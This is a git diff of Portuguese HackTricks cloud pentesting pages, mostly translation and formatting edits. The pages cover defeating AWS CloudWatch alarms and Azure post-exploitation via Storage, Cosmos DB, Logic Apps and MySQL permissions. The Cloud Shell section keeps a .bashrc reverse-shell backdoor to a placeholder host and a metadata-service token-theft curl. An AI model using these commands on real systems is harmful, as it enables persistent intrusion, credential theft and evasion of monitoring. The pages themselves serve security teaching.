@@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--
O seguinte exemplo mostra como tornar um alarme de métrica ineficaz:
- Este alarme de métrica monitora a utilização média da CPU de uma instância EC2 específica, avalia a métrica a cada 300 segundos e requer 6 períodos de avaliação (30 minutos no total). Se a utilização média da CPU exceder 60% por pelo menos 4 desses períodos, o alarme será acionado e enviará uma notificação para o tópico SNS especificado.
-- Ao modificar o Limite para ser mais de 99%, definir o Período para 10 segundos, os Períodos de Avaliação para 8640 (já que 8640 períodos de 10 segundos equivalem a 1 dia), e os Pontos de Dados para Alarme para 8640 também, seria necessário que a utilização da CPU estivesse acima de 99% a cada 10 segundos durante todo o período de 24 horas para acionar um alarme.
+- Ao modificar o Threshold para ser superior a 99%, definindo o Period para 10 segundos, os Evaluation Periods para 8640 (já que 8640 períodos de 10 segundos equivalem a 1 dia) e os Datapoints to Alarm para 8640 também, seria necessário que a utilização da CPU estivesse acima de 99% a cada 10 segundos durante todo o período de 24 horas para acionar um alarme.
{{#tabs }}
{{#tab name="Original Metric Alarm" }}
@@ -279,11 +279,11 @@ O seguinte exemplo mostra como tornar um alarme de métrica ineficaz:
{{#endtab }}
{{#endtabs }}
-**Impacto Potencial**: Falta de notificações para eventos críticos, problemas potenciais não detectados, alertas falsos, supressão de alertas genuínos e potencialmente detecções perdidas de incidentes reais.
+**Impacto Potencial**: Falta de notificações para eventos críticos, problemas potenciais não detectados, alertas falsos, suprimir alertas genuínos e potencialmente detecções perdidas de incidentes reais.
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
-Ao deletar ações de alarme, o atacante poderia impedir alertas críticos e respostas automatizadas de serem acionadas quando um estado de alarme é alcançado, como notificar administradores ou acionar atividades de auto-escalonamento. Habilitar ou re-habilitar ações de alarme de forma inadequada também poderia levar a comportamentos inesperados, seja reativando ações previamente desativadas ou modificando quais ações são acionadas, potencialmente causando confusão e desvio na resposta a incidentes.
+Ao deletar ações de alarme, o atacante poderia impedir que alertas críticos e respostas automatizadas fossem acionados quando um estado de alarme é alcançado, como notificar administradores ou acionar atividades de auto-escalonamento. Habilitar ou reabilitar ações de alarme de forma inadequada também poderia levar a comportamentos inesperados, seja reativando ações previamente desativadas ou modificando quais ações são acionadas, potencialmente causando confusão e desvio na resposta a incidentes.
Além disso, um atacante com a permissão poderia manipular estados de alarme, sendo capaz de criar falsos alarmes para distrair e confundir administradores, ou silenciar alarmes genuínos para esconder atividades maliciosas em andamento ou falhas críticas do sistema.
@@ -297,12 +297,12 @@ aws cloudwatch set-alarm-state --alarm-name --state-value | --namespace --metric-name --dimensions --stat ]
aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ]
```
-O seguinte exemplo mostra como tornar um detector de anomalias de métricas ineficaz. Este detector de anomalias de métricas monitora a utilização média da CPU de uma instância EC2 específica e, apenas adicionando o parâmetro “ExcludedTimeRanges” com o intervalo de tempo desejado, seria suficiente para garantir que o detector de anomalias não analise ou alerte sobre quaisquer dados relevantes durante esse período.
+O seguinte exemplo mostra como tornar um detector de anomalias de métricas ineficaz. Este detector de anomalias de métricas monitora a utilização média da CPU de uma instância EC2 específica, e apenas adicionando o parâmetro “ExcludedTimeRanges” com o intervalo de tempo desejado, seria suficiente para garantir que o detector de anomalias não analise ou alerte sobre quaisquer dados relevantes durante esse período.
{{#tabs }}
{{#tab name="Original Metric Anomaly Detector" }}
@@ -403,7 +403,7 @@ aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilizati
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
-Um atacante controlaria o fluxo dos fluxos de dados de métricas afetados (cada fluxo de dados se não houver restrição de recursos). Com a permissão **`cloudwatch:StopMetricStreams`**, os atacantes poderiam ocultar suas atividades maliciosas parando fluxos de métricas críticos.
+Um atacante controlaria o fluxo dos fluxos de dados de métricas afetados (cada fluxo de dados se não houver restrição de recursos). Com a permissão **`cloudwatch:StopMetricStreams`**, os atacantes poderiam ocultar suas atividades maliciosas ao parar fluxos de métricas críticos.
```bash
aws cloudwatch stop-metric-streams --names
aws cloudwatch start-metric-streams --names
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
index 4fdb789e9..4875b54d4 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Cloud Shell Persistence
+## Persistência do Cloud Shell
O Azure Cloud Shell oferece acesso via linha de comando para gerenciar recursos do Azure com armazenamento persistente e autenticação automática. Os atacantes podem explorar isso colocando backdoors no diretório home persistente:
@@ -10,21 +10,13 @@ O Azure Cloud Shell oferece acesso via linha de comando para gerenciar recursos
* **Scripts de Inicialização**: Arquivos como .bashrc são executados automaticamente no início de cada sessão, permitindo a execução persistente quando o cloud shell é iniciado.
Exemplo de backdoor em .bashrc:
-
-{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
-{% endcode %}
-
Este backdoor pode executar comandos mesmo 5 minutos após o shell da nuvem ser finalizado pelo usuário.
Além disso, consulte o serviço de metadados do Azure para detalhes da instância e tokens:
-{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index cb45f77e2..f65051cae 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -10,7 +10,7 @@ Para mais informações sobre armazenamento, consulte:
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
Um principal com esta permissão poderá **listar** os blobs (arquivos) dentro de um contêiner e **baixar** os arquivos que podem conter **informações sensíveis**.
```bash
@@ -24,7 +24,7 @@ az storage blob download \
--container-name \
-n file.txt --auth-mode login
```
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
Um principal com esta permissão poderá **escrever e sobrescrever arquivos em contêineres**, o que pode permitir que ele cause algum dano ou até mesmo escale privilégios (por exemplo, sobrescrever algum código armazenado em um blob):
```bash
@@ -36,6 +36,6 @@ az storage blob upload \
```
### \*/delete
-Isso permitiria excluir objetos dentro da conta de armazenamento, o que poderia **interromper alguns serviços** ou fazer com que o cliente **perdesse informações valiosas**.
+Isso permitiria excluir objetos dentro da conta de armazenamento, o que pode **interromper alguns serviços** ou fazer com que o cliente **perca informações valiosas**.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
index b96c14444..9274bb3df 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -5,27 +5,21 @@
## CosmosDB Pós Exploração
Para mais informações sobre SQL Database, consulte:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
+### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
Com esta permissão, você pode criar ou atualizar contas do Azure Cosmos DB. Isso inclui modificar configurações em nível de conta, adicionar ou remover regiões, alterar níveis de consistência e habilitar ou desabilitar recursos como gravações em várias regiões.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name \
--resource-group \
--public-network-access ENABLED
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
Com esta permissão, você pode criar ou modificar contêineres (coleções) dentro de um banco de dados SQL de uma conta do Azure Cosmos DB. Contêineres são usados para armazenar dados, e alterações neles podem impactar a estrutura e os padrões de acesso do banco de dados.
-
-{% code overflow="wrap" %}
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name \
--ttl 3600
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
Com esta permissão, você pode criar ou modificar bancos de dados SQL dentro de uma conta do Azure Cosmos DB. Isso permite gerenciar a estrutura do banco de dados e adicionar novos bancos de dados à conta. Embora essa permissão permita a criação de bancos de dados, o uso inadequado ou não autorizado pode resultar em consumo desnecessário de recursos, aumento de custos ou ineficiências operacionais.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
+### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
Com esta permissão, você pode alterar a prioridade de failover das regiões para uma conta de banco de dados Azure Cosmos DB. Esta ação determina a ordem em que as regiões se tornam primárias durante um evento de failover. O uso inadequado desta permissão pode interromper a alta disponibilidade do banco de dados ou levar a impactos operacionais indesejados.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb failover-priority-change \
--name \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
-Com esta permissão, você pode regenerar as chaves primárias ou secundárias para uma conta do Azure Cosmos DB. Isso é tipicamente usado para aumentar a segurança substituindo chaves antigas, mas pode interromper o acesso a serviços ou aplicativos que dependem das chaves atuais.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
+Com esta permissão, você pode regenerar as chaves primárias ou secundárias para uma conta do Azure Cosmos DB. Isso é tipicamente usado para aumentar a segurança substituindo chaves antigas, mas pode interromper o acesso para serviços ou aplicações que dependem das chaves atuais.
```bash
az cosmosdb keys regenerate \
--name \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
Com esta permissão, você pode criar ou modificar gatilhos dentro de um contêiner de um banco de dados SQL em uma conta do Azure Cosmos DB. Gatilhos permitem que você execute lógica do lado do servidor em resposta a operações.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
Com esta permissão, você pode criar ou modificar procedimentos armazenados dentro de um contêiner de um banco de dados SQL em uma conta do Azure Cosmos DB. Procedimentos armazenados no Cosmos DB são funções JavaScript do lado do servidor que permitem encapsular lógica para processar dados ou realizar operações diretamente dentro do banco de dados.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql stored-procedure create \
--account-name \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
Com esta permissão, você pode criar ou modificar gatilhos dentro de um contêiner de um banco de dados SQL em uma conta do Azure Cosmos DB. Gatilhos permitem que você execute lógica do lado do servidor em resposta a operações como inserções, atualizações ou exclusões.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
Com esta permissão, você pode criar ou modificar coleções dentro de bancos de dados MongoDB em uma conta do Azure Cosmos DB. As coleções são usadas para armazenar documentos e definir a estrutura e a partição dos dados.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb collection create \
--account-name \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
Com esta permissão, você pode criar novos bancos de dados MongoDB dentro de uma conta do Azure Cosmos DB. Isso permite a provisão de novos bancos de dados para armazenar e gerenciar coleções e documentos.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
-Com esta permissão, você pode criar novas definições de função MongoDB dentro de uma conta Azure Cosmos DB. Isso permite definir funções personalizadas com permissões específicas para usuários MongoDB.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
+Com esta permissão, você pode criar novas definições de função MongoDB dentro de uma conta do Azure Cosmos DB. Isso permite definir funções personalizadas com permissões específicas para usuários do MongoDB.
```bash
az cosmosdb mongodb role definition create \
--account-name \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
Com esta permissão, você pode criar novas definições de usuário MongoDB dentro de uma conta do Azure Cosmos DB. Isso permite a provisão de usuários com funções e níveis de acesso específicos aos bancos de dados MongoDB.
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb user definition create \
--account-name \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
index be5dff0c0..06b217e78 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
@@ -10,7 +10,7 @@ Para mais informações sobre compartilhamentos de arquivos, consulte:
../az-services/az-file-shares.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
Um principal com esta permissão poderá **listar** os arquivos dentro de um compartilhamento de arquivos e **baixar** os arquivos que podem conter **informações sensíveis**.
```bash
@@ -28,7 +28,7 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
Um principal com esta permissão poderá **escrever e sobrescrever arquivos em compartilhamentos de arquivos**, o que pode permitir que ele cause algum dano ou até mesmo escale privilégios (por exemplo, sobrescrever algum código armazenado em um compartilhamento de arquivos):
```bash
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
index 080c0db94..c7975eb57 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
@@ -5,14 +5,12 @@
## Banco de Dados de Logic Apps Pós Exploração
Para mais informações sobre logic apps, consulte:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
-Com essas permissões, você pode modificar fluxos de trabalho do Logic App e gerenciar suas identidades. Especificamente, você pode atribuir ou remover identidades gerenciadas atribuídas pelo sistema e pelo usuário aos fluxos de trabalho, o que permite que o Logic App se autentique e acesse outros recursos do Azure sem credenciais explícitas.
-
-{% code overflow="wrap" %}
+### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
+Com essas permissões, você pode modificar fluxos de trabalho do Logic App e gerenciar suas identidades. Especificamente, você pode atribuir ou remover identidades gerenciadas atribuídas pelo sistema e por usuários aos fluxos de trabalho, o que permite que o Logic App se autentique e acesse outros recursos do Azure sem credenciais explícitas.
```bash
az logic workflow identity remove/assign \
--name \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/"
```
-{% endcode %}
-
-### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
-Com essas permissões, você pode criar ou atualizar Logic Apps hospedadas em um App Service Plan. Isso inclui modificar configurações, como habilitar ou desabilitar a aplicação de HTTPS.
-
-{% code overflow="wrap" %}
+### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
+Com essas permissões, você pode criar ou atualizar Logic Apps hospedadas em um App Service Plan. Isso inclui modificar configurações, como habilitar ou desabilitar a aplicação de HTTPS.
```bash
az logicapp update \
--resource-group \
--name \
--set httpsOnly=false
```
-{% endcode %}
-
-### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
-Com esta permissão, você pode iniciar/parar/reiniciar um aplicativo web, incluindo Logic Apps hospedadas em um App Service Plan. Esta ação garante que um aplicativo que foi parado anteriormente seja colocado online e retome sua funcionalidade. Isso pode interromper fluxos de trabalho, acionar operações não intencionais ou causar inatividade ao iniciar, parar ou reiniciar Logic Apps inesperadamente.
-
-{% code overflow="wrap" %}
+### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
+Com esta permissão, você pode iniciar/parar/reiniciar um aplicativo da web, incluindo Logic Apps hospedadas em um App Service Plan. Esta ação garante que um aplicativo que foi parado anteriormente seja colocado online e retome sua funcionalidade. Isso pode interromper fluxos de trabalho, acionar operações não intencionais ou causar inatividade ao iniciar, parar ou reiniciar Logic Apps inesperadamente.
```bash
az webapp start/stop/restart \
--name \
--resource-group
```
-{% endcode %}
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
-
-### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
-
-Com esta permissão, você pode configurar ou modificar as configurações para aplicativos da web, incluindo Logic Apps hospedados em um App Service Plan. Isso permite alterações nas configurações do aplicativo, strings de conexão, configurações de autenticação e mais.
-
-{% code overflow="wrap" %}
+Com esta permissão, você pode configurar ou modificar as configurações para aplicativos da web, incluindo Logic Apps hospedadas em um App Service Plan. Isso permite alterações nas configurações do aplicativo, strings de conexão, configurações de autenticação e mais.
```bash
az logicapp config appsettings set \
--name \
--resource-group \
--settings "="
```
-{% endcode %}
-
-### "Microsoft.Logic/integrationAccounts/write"
+### `Microsoft.Logic/integrationAccounts/write`
Com esta permissão, você pode criar, atualizar ou excluir contas de integração do Azure Logic Apps. Isso inclui gerenciar configurações de nível de conta de integração, como mapas, esquemas, parceiros, acordos e mais.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku \
--state Enabled
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
Com esta permissão, você pode criar ou modificar configurações de lote dentro de uma conta de integração do Azure Logic Apps. As configurações de lote definem como o Logic Apps processa e agrupa mensagens recebidas para processamento em lote.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
Com esta permissão, você pode criar ou modificar mapas dentro de uma conta de integração do Azure Logic Apps. Os mapas são usados para transformar dados de um formato para outro, permitindo uma integração perfeita entre diferentes sistemas e aplicações.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
Com esta permissão, você pode criar ou modificar parceiros em uma conta de integração do Azure Logic Apps. Parceiros representam entidades ou sistemas que participam de fluxos de trabalho de negócios para negócios (B2B).
-
-{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
Com esta permissão, você pode criar ou modificar sessões dentro de uma conta de integração do Azure Logic Apps. As sessões são usadas em fluxos de trabalho B2B para agrupar mensagens e rastrear transações relacionadas ao longo de um período definido.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group \
@@ -147,9 +112,9 @@ az logic integration-account session create \
}
}'
```
-{% endcode %}
-
### "*/delete"
Com essas permissões, você pode excluir recursos relacionados ao Azure Logic Apps
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
index de250a6ec..46c013fad 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -5,54 +5,40 @@
## Pós Exploração de Banco de Dados MySQL
Para mais informações sobre o Banco de Dados MySQL, consulte:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
+### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
Com esta permissão, você pode criar novos bancos de dados dentro de uma instância do MySQL Flexible Server no Azure. Embora esta ação em si não modifique recursos existentes, a criação excessiva ou não autorizada de bancos de dados pode levar ao consumo de recursos ou ao potencial uso indevido do servidor.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/backups/write"
+### `Microsoft.DBforMySQL/flexibleServers/backups/write`
Com esta permissão, você pode iniciar a criação de backups para uma instância do MySQL Flexible Server no Azure. Isso permite que os usuários gerem backups sob demanda, o que pode ser útil para preservar dados em pontos específicos no tempo.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
-### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
-
-Com esta permissão, você pode configurar ou atualizar as configurações de Proteção Avançada contra Ameaças (ATP) para uma instância de Servidor Flexível MySQL no Azure. Isso permite habilitar ou desabilitar recursos de segurança projetados para detectar e responder a atividades anômalas e ameaças potenciais.
-
-{% code overflow="wrap" %}
+Com esta permissão, você pode configurar ou atualizar as configurações de Proteção Avançada contra Ameaças (ATP) para uma instância do MySQL Flexible Server no Azure. Isso permite habilitar ou desabilitar recursos de segurança projetados para detectar e responder a atividades anômalas e potenciais ameaças.
```bash
az mysql flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
-### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
-
-Com esta permissão, você pode criar ou modificar regras de firewall para uma instância do MySQL Flexible Server no Azure. Isso permite o controle sobre quais endereços IP ou intervalos podem acessar o servidor. O uso não autorizado ou inadequado dessa permissão pode expor o servidor a acessos indesejados ou maliciosos.
-
-{% code overflow="wrap" %}
+Com esta permissão, você pode criar ou modificar regras de firewall para uma instância do MySQL Flexible Server no Azure. Isso permite o controle sobre quais endereços IP ou faixas podem acessar o servidor. O uso não autorizado ou inadequado dessa permissão pode expor o servidor a acessos indesejados ou maliciosos.
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
-### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
-
-Com esta permissão, você pode redefinir o GTID (Identificador Global de Transação) para uma instância do MySQL Flexible Server no Azure. Redefinir o GTID invalidará todos os backups automatizados, sob demanda e geo-backups que foram feitos antes da ação de redefinição. Após a redefinição do GTID, você não poderá realizar PITR (restauração em um ponto no tempo) usando o ponto de restauração mais rápido ou por ponto de restauração personalizado se o tempo de restauração selecionado for anterior ao tempo de redefinição do GTID. E a restauração geo-sucedida será possível apenas após 5 dias.
-
-{% code overflow="wrap" %}
+Com esta permissão, você pode redefinir o GTID (Identificador de Transação Global) para uma instância do MySQL Flexible Server no Azure. Redefinir o GTID invalidará todos os backups automatizados, sob demanda e geo-backups que foram feitos antes da ação de redefinição. Após a redefinição do GTID, você não poderá realizar PITR (restauração em um ponto no tempo) usando o ponto de restauração mais rápido ou por ponto de restauração personalizado se o tempo de restauração selecionado for anterior ao tempo de redefinição do GTID. E a restauração geo bem-sucedida será possível apenas após 5 dias.
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group \
--gtid-set
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
-### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
-
